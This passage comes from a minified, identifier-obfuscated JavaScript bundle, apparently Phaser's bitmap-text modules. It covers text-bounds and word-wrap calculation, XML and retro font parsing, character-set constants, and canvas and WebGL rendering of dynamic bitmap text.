_0x48cc94++) { var _0x38e469 = _0x4a31c0['charCodeAt'](_0x48cc94), _0x2e5e85 = _0x2681d3['chars'][_0x38e469]; _0x2e5e85 && (_0x23cda6 += _0x2e5e85['xAdvance']); } return _0x23cda6 * _0x213bb0; }; if (_0x1343cb > 0x0) { _0x432dcb = _0x6003f9['split']('\x0a'); var _0xa7341a = []; for (_0xe0b5de = 0x0; _0xe0b5de < _0x432dcb['length']; _0xe0b5de++) { var _0x3c15a5 = _0x432dcb[_0xe0b5de], _0x4af5f3 = '', _0x3b4202 = '', _0x463c88 = '', _0x38121f = ''; for (_0x153a10 = 0x0; _0x153a10 < _0x3c15a5['length']; _0x153a10++)_0x228671 = _0x3c15a5['charCodeAt'](_0x153a10), _0x4af5f3 += _0x3c15a5[_0x153a10], (_0x228671 === _0x1545b2 || _0x153a10 === _0x3c15a5['length'] - 0x1) && (_0x3aff50(_0x38121f = _0x463c88 + _0x4af5f3, _0x5278d7['fontData']) <= _0x1343cb ? _0x463c88 = _0x38121f : (_0x3b4202 = _0x3b4202['slice'](0x0, -0x1), _0x3b4202 += (_0x3b4202 ? '\x0a' : '') + _0x463c88, _0x463c88 = _0x4af5f3), _0x4af5f3 = ''); _0x3b4202 = _0x3b4202['slice'](0x0, -0x1), _0x3b4202 += (_0x3b4202 ? '\x0a' : '') + _0x463c88, _0xa7341a['push'](_0x3b4202); } _0x6003f9 = _0xa7341a['join']('\x0a'), _0x19cf5b['wrappedText'] = _0x6003f9, _0x508439 = _0x6003f9['length']; } var _0x2471e8 = 0x0; for (_0xe0b5de = 0x0; _0xe0b5de < _0x508439; _0xe0b5de++)if (0xa !== (_0x228671 = _0x6003f9['charCodeAt'](_0xe0b5de))) { if (_0x1e79c0 = _0x550d74[_0x228671]) { if (_0x259884 = _0x5508a3, _0x4fff86 = _0x24effa, null !== _0x214aa8) { var _0x436eae = _0x1e79c0['kerning'][_0x37b510]; _0x259884 += void 0x0 !== _0x436eae ? _0x436eae : 0x0; } _0x45fd6e > _0x259884 && (_0x45fd6e = _0x259884), _0x3141ae > _0x4fff86 && (_0x3141ae = _0x4fff86); var _0x3e56f9 = _0x259884 + _0x1e79c0['xAdvance'], _0x2cb0a2 = _0x4fff86 + _0x14366d; _0x578ff9 < _0x3e56f9 && (_0x578ff9 = _0x3e56f9), _0x52df56 < _0x2cb0a2 && (_0x52df56 = _0x2cb0a2); var _0x5f2cd4 = _0x1e79c0['xOffset'] + _0x1e79c0['xAdvance'] + (void 0x0 !== _0x436eae ? _0x436eae : 0x0); _0x228671 === _0x1545b2 ? null !== _0x5479e6 && (_0x5af401['push']({ 'word': _0x5479e6['word'], 'i': _0x5479e6['i'], 'x': _0x5479e6['x'] * _0x213bb0, 'y': _0x5479e6['y'] * _0x548623, 'w': _0x5479e6['w'] * _0x213bb0, 'h': _0x5479e6['h'] * _0x548623 }), _0x5479e6 = null) : (null === _0x5479e6 && (_0x5479e6 = { 'word': '', 'i': _0x2471e8, 'x': _0x5508a3, 'y': _0x24effa, 'w': 0x0, 'h': _0x14366d }), _0x5479e6['word'] = _0x5479e6['word']['concat'](_0x6003f9[_0xe0b5de]), _0x5479e6['w'] += _0x5f2cd4), _0x1c8181['push']({ 'i': _0x2471e8, 'idx': _0xe0b5de, 'char': _0x6003f9[_0xe0b5de], 'code': _0x228671, 'x': (_0x1e79c0['xOffset'] + _0x259884) * _0x5b5723, 'y': (_0x1e79c0['yOffset'] + _0x24effa) * _0x5b5723, 'w': _0x1e79c0['width'] * _0x5b5723, 'h': _0x1e79c0['height'] * _0x5b5723, 't': _0x24effa * _0x5b5723, 'r': _0x3e56f9 * _0x5b5723, 'b': _0x14366d * _0x5b5723, 'line': _0x1b7ff7, 'glyph': _0x1e79c0 }), _0x5508a3 += _0x1e79c0['xAdvance'] + _0x248cf2 + (void 0x0 !== _0x436eae ? _0x436eae : 0x0), _0x214aa8 = _0x1e79c0, _0x37b510 = _0x228671, _0x3e8cc7 = _0x3e56f9 * _0x5b5723, _0x2471e8++; } } else null !== _0x5479e6 && (_0x5af401['push']({ 'word': _0x5479e6['word'], 'i': _0x5479e6['i'], 'x': _0x5479e6['x'] * _0x213bb0, 'y': _0x5479e6['y'] * _0x548623, 'w': _0x5479e6['w'] * _0x213bb0, 'h': _0x5479e6['h'] * _0x548623 }), _0x5479e6 = null), _0x214aa8 = null, _0xde2d36[_0x1b7ff7] = _0x3e8cc7, _0x3e8cc7 > _0xafd193 && (_0xafd193 = _0x3e8cc7), _0x3e8cc7 < _0x61e0e5 && (_0x61e0e5 = _0x3e8cc7), _0x3e8cc7 = 0x0, _0x5508a3 = 0x0, _0x24effa = (_0x14366d + _0x57f8f9) * ++_0x1b7ff7; if (null !== _0x5479e6 && _0x5af401['push']({ 'word': _0x5479e6['word'], 'i': _0x5479e6['i'], 'x': _0x5479e6['x'] * _0x213bb0, 'y': _0x5479e6['y'] * _0x548623, 'w': _0x5479e6['w'] * _0x213bb0, 'h': _0x5479e6['h'] * _0x548623 }), _0xde2d36[_0x1b7ff7] = _0x3e8cc7, _0x3e8cc7 > _0xafd193 && (_0xafd193 = _0x3e8cc7), _0x3e8cc7 < _0x61e0e5 && (_0x61e0e5 = _0x3e8cc7), _0xb69e5f > 0x0) for (var _0x4a5fa3 = 0x0; _0x4a5fa3 < _0x1c8181['length']; _0x4a5fa3++) { var _0x497c83 = _0x1c8181[_0x4a5fa3]; if (0x1 === _0xb69e5f) { var _0x3094e8 = (_0xafd193 - _0xde2d36[_0x497c83['line']]) / 0x2; _0x497c83['x'] += _0x3094e8, _0x497c83['r'] += _0x3094e8; } else { if (0x2 === _0xb69e5f) { var _0xb3c4b0 = _0xafd193 - _0xde2d36[_0x497c83['line']]; _0x497c83['x'] += _0xb3c4b0, _0x497c83['r'] += _0xb3c4b0; } } } var _0x41a96b = _0x19cf5b['local'], _0x57c392 = _0x19cf5b['global']; return _0x432dcb = _0x19cf5b['lines'], _0x41a96b['x'] = _0x45fd6e * _0x5b5723, _0x41a96b['y'] = _0x3141ae * _0x5b5723, _0x41a96b['width'] = _0x578ff9 * _0x5b5723, _0x41a96b['height'] = _0x52df56 * _0x5b5723, _0x57c392['x'] = _0x5278d7['x'] - _0x5278d7['_displayOriginX'] + _0x45fd6e * _0x213bb0, _0x57c392['y'] = _0x5278d7['y'] - _0x5278d7['_displayOriginY'] + _0x3141ae * _0x548623, _0x57c392['width'] = _0x578ff9 * _0x213bb0, _0x57c392['height'] = _0x52df56 * _0x548623, _0x432dcb['shortest'] = _0x61e0e5, _0x432dcb['longest'] = _0xafd193, _0x432dcb['lengths'] = _0xde2d36, _0x4244bc && (_0x41a96b['x'] = Math['ceil'](_0x41a96b['x']), _0x41a96b['y'] = Math['ceil'](_0x41a96b['y']), _0x41a96b['width'] = Math['ceil'](_0x41a96b['width']), _0x41a96b['height'] = Math['ceil'](_0x41a96b['height']), _0x57c392['x'] = Math['ceil'](_0x57c392['x']), _0x57c392['y'] = Math['ceil'](_0x57c392['y']), _0x57c392['width'] = Math['ceil'](_0x57c392['width']), _0x57c392['height'] = Math['ceil'](_0x57c392['height']), _0x432dcb['shortest'] = Math['ceil'](_0x61e0e5), _0x432dcb['longest'] = Math['ceil'](_0xafd193)), _0x234848 && (_0x5278d7['_displayOriginX'] = _0x5278d7['originX'] * _0x41a96b['width'], _0x5278d7['_displayOriginY'] = _0x5278d7['originY'] * _0x41a96b['height'], _0x57c392['x'] = _0x5278d7['x'] - _0x5278d7['_displayOriginX'] * _0x5278d7['scaleX'], _0x57c392['y'] = _0x5278d7['y'] - _0x5278d7['_displayOriginY'] * _0x5278d7['scaleY'], _0x4244bc && (_0x57c392['x'] = Math['ceil'](_0x57c392['x']), _0x57c392['y'] = Math['ceil'](_0x57c392['y']))), _0x19cf5b['words'] = _0x5af401, _0x19cf5b['characters'] = _0x1c8181, _0x19cf5b['lines']['height'] = _0x14366d, _0x19cf5b['scale'] = _0x5b5723, _0x19cf5b['scaleX'] = _0x5278d7['scaleX'], _0x19cf5b['scaleY'] = _0x5278d7['scaleY'], _0x19cf5b; }; }, 0xef8f: (_0x151048, _0x53f711, _0x552806) => { var _0x1f3f67 = _0x552806(0x5563); _0x151048['exports'] = function (_0x5da3f4, _0x27cdad, _0x3c93ea, _0x23b4f7, _0x219585, _0xaad49a, _0x22174b) { var _0x16b808 = _0x5da3f4['sys']['textures']['get'](_0x3c93ea), _0x1fc6f8 = _0x16b808['get'](_0x23b4f7), _0x1cddcb = _0x5da3f4['sys']['cache']['xml']['get'](_0x219585); if (_0x1fc6f8 && _0x1cddcb) { var _0x2ad87f = _0x1f3f67(_0x1cddcb, _0x1fc6f8, _0xaad49a, _0x22174b, _0x16b808); return _0x5da3f4['sys']['cache']['bitmapFont']['add'](_0x27cdad, { 'data': _0x2ad87f, 'texture': _0x3c93ea, 'frame': _0x23b4f7, 'fromAtlas': !0x0 }), !0x0; } return !0x1; }; }, 0x1b0d: (_0x40dfda, _0x4b7eae, _0x10711d) => { var _0x195e13 = _0x10711d(0x8952); _0x40dfda['exports'] = function (_0x420d92, _0x118ca3) { var _0x3616bd = _0x118ca3['width'], _0x5a357c = _0x118ca3['height'], _0x463cdd = Math['floor'](_0x3616bd / 0x2), _0x33373e = Math['floor'](_0x5a357c / 0x2), _0x265f73 = _0x195e13(_0x118ca3, 'chars', ''); if ('' !== _0x265f73) { var _0x44f3fa = _0x195e13(_0x118ca3, 'image', ''), _0x1c5735 = _0x420d92['sys']['textures']['getFrame'](_0x44f3fa), _0x7ae476 = _0x1c5735['cutX'], _0x206735 = _0x1c5735['cutY'], _0x4aab27 = _0x1c5735['source']['width'], _0x24322e = _0x1c5735['source']['height'], _0x5ce137 = _0x195e13(_0x118ca3, 'offset.x', 0x0), _0x2fa9f4 = _0x195e13(_0x118ca3, 'offset.y', 0x0), _0x3cff97 = _0x195e13(_0x118ca3, 'spacing.x', 0x0), _0x218711 = _0x195e13(_0x118ca3, 'spacing.y', 0x0), _0xf52de4 = _0x195e13(_0x118ca3, 'lineSpacing', 0x0), _0x3038bf = _0x195e13(_0x118ca3, 'charsPerRow', null); null === _0x3038bf && (_0x3038bf = _0x4aab27 / _0x3616bd) > _0x265f73['length'] && (_0x3038bf = _0x265f73['length']); for (var _0x319906 = _0x5ce137, _0x3d8a16 = _0x2fa9f4, _0x45f471 = { 'retroFont': !0x0, 'font': _0x44f3fa, 'size': _0x3616bd, 'lineHeight': _0x5a357c + _0xf52de4, 'chars': {} }, _0x2ec218 = 0x0, _0x2f8a37 = 0x0; _0x2f8a37 < _0x265f73['length']; _0x2f8a37++) { var _0x3ab233 = _0x265f73['charCodeAt'](_0x2f8a37), _0x5591b8 = (_0x7ae476 + _0x319906) / _0x4aab27, _0x4b13ab = (_0x206735 + _0x3d8a16) / _0x24322e, _0x1a208f = (_0x7ae476 + _0x319906 + _0x3616bd) / _0x4aab27, _0x543f69 = (_0x206735 + _0x3d8a16 + _0x5a357c) / _0x24322e; _0x45f471['chars'][_0x3ab233] = { 'x': _0x319906, 'y': _0x3d8a16, 'width': _0x3616bd, 'height': _0x5a357c, 'centerX': _0x463cdd, 'centerY': _0x33373e, 'xOffset': 0x0, 'yOffset': 0x0, 'xAdvance': _0x3616bd, 'data': {}, 'kerning': {}, 'u0': _0x5591b8, 'v0': _0x4b13ab, 'u1': _0x1a208f, 'v1': _0x543f69 }, ++_0x2ec218 === _0x3038bf ? (_0x2ec218 = 0x0, _0x319906 = _0x5ce137, _0x3d8a16 += _0x5a357c + _0x218711) : _0x319906 += _0x3616bd + _0x3cff97; } return { 'data': _0x45f471, 'frame': null, 'texture': _0x44f3fa }; } }; }, 0x5563: _0x57e0ec => { function _0x27e900(_0x283b0f, _0x4768fe) { return parseInt(_0x283b0f['getAttribute'](_0x4768fe), 0xa); } _0x57e0ec['exports'] = function (_0x2446cc, _0x4153c1, _0x3ffd97, _0x5df3f4, _0x4f26bd) { void 0x0 === _0x3ffd97 && (_0x3ffd97 = 0x0), void 0x0 === _0x5df3f4 && (_0x5df3f4 = 0x0); var _0x25192a = _0x4153c1['cutX'], _0x3b8209 = _0x4153c1['cutY'], _0x5ec372 = _0x4153c1['source']['width'], _0x34be6c = _0x4153c1['source']['height'], _0x3e695f = _0x4153c1['sourceIndex'], _0x29be24 = {}, _0x298f99 = _0x2446cc['getElementsByTagName']('info')[0x0], _0x1f0030 = _0x2446cc['getElementsByTagName']('common')[0x0]; _0x29be24['font'] = _0x298f99['getAttribute']('face'), _0x29be24['size'] = _0x27e900(_0x298f99, 'size'), _0x29be24['lineHeight'] = _0x27e900(_0x1f0030, 'lineHeight') + _0x5df3f4, _0x29be24['chars'] = {}; var _0x34e75b = _0x2446cc['getElementsByTagName']('char'), _0x5ef9d3 = void 0x0 !== _0x4153c1 && _0x4153c1['trimmed']; if (_0x5ef9d3) var _0x137d9d = _0x4153c1['height'], _0x1e55d4 = _0x4153c1['width']; for (var _0xdeda6e = 0x0; _0xdeda6e < _0x34e75b['length']; _0xdeda6e++) { var _0x571aec = _0x34e75b[_0xdeda6e], _0x5a3104 = _0x27e900(_0x571aec, 'id'), _0x1c0390 = String['fromCharCode'](_0x5a3104), _0x43a1a5 = _0x27e900(_0x571aec, 'x'), _0x4f9758 = _0x27e900(_0x571aec, 'y'), _0x11c9e9 = _0x27e900(_0x571aec, 'width'), _0x14c0d2 = _0x27e900(_0x571aec, 'height'); _0x5ef9d3 && (_0x43a1a5 < _0x1e55d4 && (_0x1e55d4 = _0x43a1a5), _0x4f9758 < _0x137d9d && (_0x137d9d = _0x4f9758)), _0x5ef9d3 && 0x0 !== _0x137d9d && 0x0 !== _0x1e55d4 && (_0x43a1a5 -= _0x4153c1['x'], _0x4f9758 -= _0x4153c1['y']); var _0x2c24b6 = (_0x25192a + _0x43a1a5) / _0x5ec372, _0x1495c6 = (_0x3b8209 + _0x4f9758) / _0x34be6c, _0x16eebb = (_0x25192a + _0x43a1a5 + _0x11c9e9) / _0x5ec372, _0x24c017 = (_0x3b8209 + _0x4f9758 + _0x14c0d2) / _0x34be6c; if (_0x29be24['chars'][_0x5a3104] = { 'x': _0x43a1a5, 'y': _0x4f9758, 'width': _0x11c9e9, 'height': _0x14c0d2, 'centerX': Math['floor'](_0x11c9e9 / 0x2), 'centerY': Math['floor'](_0x14c0d2 / 0x2), 'xOffset': _0x27e900(_0x571aec, 'xoffset'), 'yOffset': _0x27e900(_0x571aec, 'yoffset'), 'xAdvance': _0x27e900(_0x571aec, 'xadvance') + _0x3ffd97, 'data': {}, 'kerning': {}, 'u0': _0x2c24b6, 'v0': _0x1495c6, 'u1': _0x16eebb, 'v1': _0x24c017 }, _0x4f26bd && 0x0 !== _0x11c9e9 && 0x0 !== _0x14c0d2) { var _0x39106b = _0x4f26bd['add'](_0x1c0390, _0x3e695f, _0x43a1a5, _0x4f9758, _0x11c9e9, _0x14c0d2); _0x39106b && _0x39106b['setUVs'](_0x11c9e9, _0x14c0d2, _0x2c24b6, _0x1495c6, _0x16eebb, _0x24c017); } } var _0x26dc74 = _0x2446cc['getElementsByTagName']('kerning'); for (_0xdeda6e = 0x0; _0xdeda6e < _0x26dc74['length']; _0xdeda6e++) { var _0x375c85 = _0x26dc74[_0xdeda6e], _0x2e9f79 = _0x27e900(_0x375c85, 'first'), _0x9aea60 = _0x27e900(_0x375c85, 'second'), _0x420fe7 = _0x27e900(_0x375c85, 'amount'); _0x29be24['chars'][_0x9aea60]['kerning'][_0x2e9f79] = _0x420fe7; } return _0x29be24; }; }, 0xc4: (_0x231e44, _0x19f711, _0x46c1ea) => { var _0x20c144 = _0x46c1ea(0x1566e), _0x5b4e93 = _0x46c1ea(0x135bb), _0x1a4e0c = { 'Parse': _0x46c1ea(0x1b0d) }; _0x1a4e0c = _0x5b4e93(!0x1, _0x1a4e0c, _0x20c144), _0x231e44['exports'] = _0x1a4e0c; }, 0x1566e: _0x45433c => { _0x45433c['exports'] = { 'TEXT_SET1': '\x20!\x22#$%&\x27()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\x5c]^_`abcdefghijklmnopqrstuvwxyz{|}~', 'TEXT_SET2': '\x20!\x22#$%&\x27()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'TEXT_SET3': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\x20', 'TEXT_SET4': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ\x200123456789', 'TEXT_SET5': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ.,/()\x20\x27!?-*:0123456789', 'TEXT_SET6': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!?:;0123456789\x22(),-.\x27\x20', 'TEXT_SET7': 'AGMSY+:4BHNTZ!;5CIOU.?06DJPV,(17EKQW\x22)28FLRX-\x2739', 'TEXT_SET8': '0123456789\x20.ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'TEXT_SET9': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ()-0123456789.:,\x27\x22?!', 'TEXT_SET10': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'TEXT_SET11': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ.,\x22-+!?()\x27:;0123456789' }; }, 0xa4e: (_0xa1e2ae, _0x427af1, _0x3bc401) => { var _0x9b4a4c = _0x3bc401(0x56aa), _0x4e8fcc = _0x3bc401(0x145db), _0x5bd0d3 = _0x3bc401(0x3016), _0x4985d0 = new _0x4e8fcc({ 'Extends': _0x9b4a4c, 'Mixins': [_0x5bd0d3], 'initialize': function (_0x5ae1ac, _0xdc9a08, _0x544445, _0x1b06cb, _0x1e85af, _0x15b10d, _0x23b1d9) { _0x9b4a4c['call'](this, _0x5ae1ac, _0xdc9a08, _0x544445, _0x1b06cb, _0x1e85af, _0x15b10d, _0x23b1d9), this['type'] = 'DynamicBitmapText', this['scrollX'] = 0x0, this['scrollY'] = 0x0, this['cropWidth'] = 0x0, this['cropHeight'] = 0x0, this['displayCallback'], this['callbackData'] = { 'parent': this, 'color': 0x0, 'tint': { 'topLeft': 0x0, 'topRight': 0x0, 'bottomLeft': 0x0, 'bottomRight': 0x0 }, 'index': 0x0, 'charCode': 0x0, 'x': 0x0, 'y': 0x0, 'scale': 0x0, 'rotation': 0x0, 'data': 0x0 }; }, 'setSize': function (_0x302913, _0x92ff13) { return this['cropWidth'] = _0x302913, this['cropHeight'] = _0x92ff13, this; }, 'setDisplayCallback': function (_0x5107af) { return this['displayCallback'] = _0x5107af, this; }, 'setScrollX': function (_0x1c5874) { return this['scrollX'] = _0x1c5874, this; }, 'setScrollY': function (_0xab879d) { return this['scrollY'] = _0xab879d, this; } }); _0xa1e2ae['exports'] = _0x4985d0; }, 0x152d5: (_0x4525d9, _0x2561ce, _0x5947a1) => { var _0x10e704 = _0x5947a1(0x51be); _0x4525d9['exports'] = function (_0x4f20fb, _0x2640f7, _0x52aa4e, _0x278c6d) { var _0x581bf4 = _0x2640f7['_text'], _0x4a523f = _0x581bf4['length'], _0x12d733 = _0x4f20fb['currentContext']; if (0x0 !== _0x4a523f && _0x10e704(_0x4f20fb, _0x12d733, _0x2640f7, _0x52aa4e, _0x278c6d)) { _0x52aa4e['addToRenderList'](_0x2640f7); var _0x452689 = _0x2640f7['fromAtlas'] ? _0x2640f7['frame'] : _0x2640f7['texture']['frames']['__BASE'], _0x1e8e6c = _0x2640f7['displayCallback'], _0x192e1c = _0x2640f7['callbackData'], _0x5d74aa = _0x2640f7['fontData']['chars'], _0x3271c3 = _0x2640f7['fontData']['lineHeight'], _0x3cafc7 = _0x2640f7['_letterSpacing'], _0x22b892 = 0x0, _0x25d112 = 0x0, _0x34fdd5 = 0x0, _0x480930 = null, _0x33504d = 0x0, _0x1c7a97 = 0x0, _0x515e1e = 0x0, _0x25d1bc = 0x0, _0x586063 = 0x0, _0x27f338 = 0x0, _0x33ec28 = null, _0x321c0d = 0x0, _0x15b200 = _0x2640f7['frame']['source']['image'], _0x696bf2 = _0x452689['cutX'], _0xad77c6 = _0x452689['cutY'], _0x2279de = 0x0, _0x3f73d6 = 0x0, _0x5be8b0 = _0x2640f7['_fontSize'] / _0x2640f7['fontData']['size'], _0x361ae7 = _0x2640f7['_align'], _0x145195 = 0x0, _0x25c37c = 0x0; _0x2640f7['getTextBounds'](!0x1); var _0xe8b04c = _0x2640f7['_bounds']['lines']; 0x1 === _0x361ae7 ? _0x25c37c = (_0xe8b04c['longest'] - _0xe8b04c['lengths'][0x0]) / 0x2 : 0x2 === _0x361ae7 && (_0x25c37c = _0xe8b04c['longest'] - _0xe8b04c['lengths'][0x0]), _0x12d733['translate'](-_0x2640f7['displayOriginX'], -_0x2640f7['displayOriginY']); var _0x5be841 = _0x52aa4e['roundPixels']; _0x2640f7['cropWidth'] > 0x0 && _0x2640f7['cropHeight'] > 0x0 && (_0x12d733['beginPath'](), _0x12d733['rect'](0x0, 0x0, _0x2640f7['cropWidth'], _0x2640f7['cropHeight']), _0x12d733['clip']()); for (var _0x30201b = 0x0; _0x30201b < _0x4a523f; _0x30201b++)if (_0x3f73d6 = _0x5be8b0, _0x2279de = 0x0, 0xa !== (_0x34fdd5 = _0x581bf4['charCodeAt'](_0x30201b))) { if (_0x480930 = _0x5d74aa[_0x34fdd5]) { if (_0x33504d = _0x696bf2 + _0x480930['x'], _0x1c7a97 = _0xad77c6 + _0x480930['y'], _0x515e1e = _0x480930['width'], _0x25d1bc = _0x480930['height'], _0x586063 = _0x480930['xOffset'] + _0x22b892 - _0x2640f7['scrollX'], _0x27f338 = _0x480930['yOffset'] + _0x25d112 - _0x2640f7['scrollY'], null !== _0x33ec28) { var _0x457f9e = _0x480930['kerning'][_0x321c0d]; _0x586063 += void 0x0 !== _0x457f9e ? _0x457f9e : 0x0; } if (_0x1e8e6c) { _0x192e1c['index'] = _0x30201b, _0x192e1c['charCode'] = _0x34fdd5, _0x192e1c['x'] = _0x586063, _0x192e1c['y'] = _0x27f338, _0x192e1c['scale'] = _0x3f73d6, _0x192e1c['rotation'] = _0x2279de, _0x192e1c['data'] = _0x480930['data']; var _0x4a7906 = _0x1e8e6c(_0x192e1c); _0x586063 = _0x4a7906['x'], _0x27f338 = _0x4a7906['y'], _0x3f73d6 = _0x4a7906['scale'], _0x2279de = _0x4a7906['rotation']; } _0x586063 *= _0x3f73d6, _0x27f338 *= _0x3f73d6, _0x586063 += _0x25c37c, _0x22b892 += _0x480930['xAdvance'] + _0x3cafc7 + (void 0x0 !== _0x457f9e ? _0x457f9e : 0x0), _0x33ec28 = _0x480930, _0x321c0d = _0x34fdd5, 0x0 !== _0x515e1e && 0x0 !== _0x25d1bc && 0x20 !== _0x34fdd5 && (_0x5be841 && (_0x586063 = Math['round'](_0x586063), _0x27f338 = Math['round'](_0x27f338)), _0x12d733['save'](), _0x12d733['translate'](_0x586063, _0x27f338), _0x12d733['rotate'](_0x2279de), _0x12d733['scale'](_0x3f73d6, _0x3f73d6), _0x12d733['drawImage'](_0x15b200, _0x33504d, _0x1c7a97, _0x515e1e, _0x25d1bc, 0x0, 0x0, _0x515e1e, _0x25d1bc), _0x12d733['restore']()); } } else _0x145195++, 0x1 === _0x361ae7 ? _0x25c37c = (_0xe8b04c['longest'] - _0xe8b04c['lengths'][_0x145195]) / 0x2 : 0x2 === _0x361ae7 && (_0x25c37c = _0xe8b04c['longest'] - _0xe8b04c['lengths'][_0x145195]), _0x22b892 = 0x0, _0x25d112 += _0x3271c3, _0x33ec28 = null; _0x12d733['restore'](); } }; }, 0x2b9c: (_0x5cd0cf, _0x9dc582, _0x1e3d6a) => { var _0x4bf2c8 = _0x1e3d6a(0xa4e), _0x19877e = _0x1e3d6a(0x62d9), _0x1d17e7 = _0x1e3d6a(0xae3b), _0x3783fe = _0x1e3d6a(0x5c10); _0x1d17e7['register']('dynamicBitmapText', function (_0x128297, _0xb2e407) { void 0x0 === _0x128297 && (_0x128297 = {}); var _0xc2dc61 = _0x3783fe(_0x128297, 'font', ''), _0x3aa122 = _0x3783fe(_0x128297, 'text', ''), _0x4dde19 = _0x3783fe(_0x128297, 'size', !0x1), _0x5cc53f = new _0x4bf2c8(this['scene'], 0x0, 0x0, _0xc2dc61, _0x3aa122, _0x4dde19); return void 0x0 !== _0xb2e407 && (_0x128297['add'] = _0xb2e407), _0x19877e(this['scene'], _0x5cc53f, _0x128297), _0x5cc53f; }); }, 0x11b76: (_0x45e994, _0x1e6c71, _0x16a9a4) => { var _0xab01d8 = _0x16a9a4(0xa4e); _0x16a9a4(0x9a05)['register']('dynamicBitmapText', function (_0x2596da, _0x1c9c03, _0x5c8ac4, _0x57d9f1, _0x3d2059) { return this['displayList']['add'](new _0xab01d8(this['scene'], _0x2596da, _0x1c9c03, _0x5c8ac4, _0x57d9f1, _0x3d2059)); }); }, 0x3016: (_0x552f70, _0x57c560, _0x12424d) => { var _0x19fda3 = _0x12424d(0x7433), _0x515e50 = _0x19fda3, _0xf05bb7 = _0x19fda3; _0x515e50 = _0x12424d(0x11f0a), _0xf05bb7 = _0x12424d(0x152d5), _0x552f70['exports'] = { 'renderWebGL': _0x515e50, 'renderCanvas': _0xf05bb7 }; }, 0x11f0a: (_0x454ed1, _0x4f72ce, _0x5c40a1) => { var _0x33039c = _0x5c40a1(0x164a0), _0x22c013 = _0x5c40a1(0xef9c), _0x111343 = _0x5c40a1(0x1139a), _0x2d56d5 = new _0x22c013(); _0x454ed1['exports'] = function (_0x39e057, _0x2cfb81, _0x6c6b80, _0x459c85) { var _0x9ff4c2 = _0x2cfb81['text'], _0x400940 = _0x9ff4c2['length']; if (0x0 !== _0x400940) { _0x6c6b80['addToRenderList'](_0x2cfb81); var _0x49fd2a = _0x39e057['pipelines']['set'](_0x2cfb81['pipeline'], _0x2cfb81), _0x3d0dbd = _0x33039c(_0x2cfb81, _0x6c6b80, _0x459c85); _0x39e057['pipelines']['preBatch'](_0x2cfb81); var _0x41addc = _0x3d0dbd['sprite'], _0x3021e6 = _0x3d0dbd['calc'], _0x3b77fd = _0x2d56d5, _0x44cced = _0x2cfb81['cropWidth'] > 0x0 || _0x2cfb81['cropHeight'] > 0x0; _0x44cced && (_0x49fd2a['flush'](), _0x39e057['pushScissor'](_0x3021e6['tx'], _0x3021e6['ty'], _0x2cfb81['cropWidth'] * _0x3021e6['scaleX'], _0x2cfb81['cropHeight'] * _0x3021e6['scaleY'])); var _0x2782ed, _0x41e089, _0x518f09 = _0x2cfb81['frame']['glTexture'], _0x50cf32 = _0x2cfb81['tintFill'], _0x169dc2 = _0x111343['getTintAppendFloatAlpha'](_0x2cfb81['tintTopLeft'], _0x6c6b80['alpha'] * _0x2cfb81['_alphaTL']), _0x457804 = _0x111343['getTintAppendFloatAlpha'](_0x2cfb81['tintTopRight'], _0x6c6b80['alpha'] * _0x2cfb81['_alphaTR']), _0x3f17a2 = _0x111343['getTintAppendFloatAlpha'](_0x2cfb81['tintBottomLeft'], _0x6c6b80['alpha'] * _0x2cfb81['_alphaBL']), _0x5cbb9c = _0x111343['getTintAppendFloatAlpha'](_0x2cfb81['tintBottomRight'], _0x6c6b80['alpha'] * _0x2cfb81['_alphaBR']), _0x7447d0 = _0x49fd2a['setGameObject'](_0x2cfb81), _0x505a31 = 0x0, _0x1f188e = 0x0, _0x41b3ef = 0x0, _0x550f3f = 0x0, _0x3f8599 = _0x2cfb81['letterSpacing'], _0x5c8783 = 0x0, _0x11c92f = 0x0, _0x47c953 = _0x2cfb81['scrollX'], _0x59a61e = _0x2cfb81['scrollY'], _0x374c7a = _0x2cfb81['fontData'], _0x37472c = _0x374c7a['chars'], _0x21f150 = _0x374c7a['lineHeight'], _0x664914 = _0x2cfb81['fontSize'] / _0x374c7a['size'], _0x522039 = 0x0, _0x168db7 = _0x2cfb81['_align'], _0x4e1ea0 = 0x0, _0x1cf450 = 0x0, _0x5e4120 = _0x2cfb81['getTextBounds'](!0x1); _0x2cfb81['maxWidth'] > 0x0 && (_0x400940 = (_0x9ff4c2 = _0x5e4120['wrappedText'])['length']); var _0x6b318d = _0x2cfb81['_bounds']['lines']; 0x1 === _0x168db7 ? _0x1cf450 = (_0x6b318d['longest'] - _0x6b318d['lengths'][0x0]) / 0x2 : 0x2 === _0x168db7 && (_0x1cf450 = _0x6b318d['longest'] - _0x6b318d['lengths'][0x0]); for (var _0x18546b = _0x6c6b80['roundPixels'], _0x4b4054 = _0x2cfb81['displayCallback'], _0x4f6b68 = _0x2cfb81['callbackData'], _0x24e4d5 = 0x0; _0x24e4d5 < _0x400940; _0x24e4d5++)if (0xa !== (_0x41b3ef = _0x9ff4c2['charCodeAt'](_0x24e4d5))) { if (_0x2782ed = _0x37472c[_0x41b3ef]) { _0x5c8783 = _0x2782ed['width'], _0x11c92f = _0x2782ed['height']; var _0x47c8de = _0x2782ed['xOffset'] + _0x505a31 - _0x47c953, _0x185c34 = _0x2782ed['yOffset'] + _0x1f188e - _0x59a61e; if (null !== _0x41e089) { var _0x576a79 = _0x2782ed['kerning'][_0x550f3f] || 0x0; _0x47c8de += _0x576a79, _0x505a31 += _0x576a79; } if (_0x505a31 += _0x2782ed['xAdvance'] + _0x3f8599, _0x41e089 = _0x2782ed, _0x550f3f = _0x41b3ef, 0x0 !== _0x5c8783 && 0x0 !== _0x11c92f && 0x20 !== _0x41b3ef) { if (_0x664914 = _0x2cfb81['fontSize'] / _0x2cfb81['fontData']['size'], _0x522039 = 0x0, _0x4b4054) { _0x4f6b68['color'] = 0x0, _0x4f6b68['tint']['topLeft'] = _0x169dc2, _0x4f6b68['tint']['topRight'] = _0x457804, _0x4f6b68['tint']['bottomLeft'] = _0x3f17a2, _0x4f6b68['tint']['bottomRight'] = _0x5cbb9c, 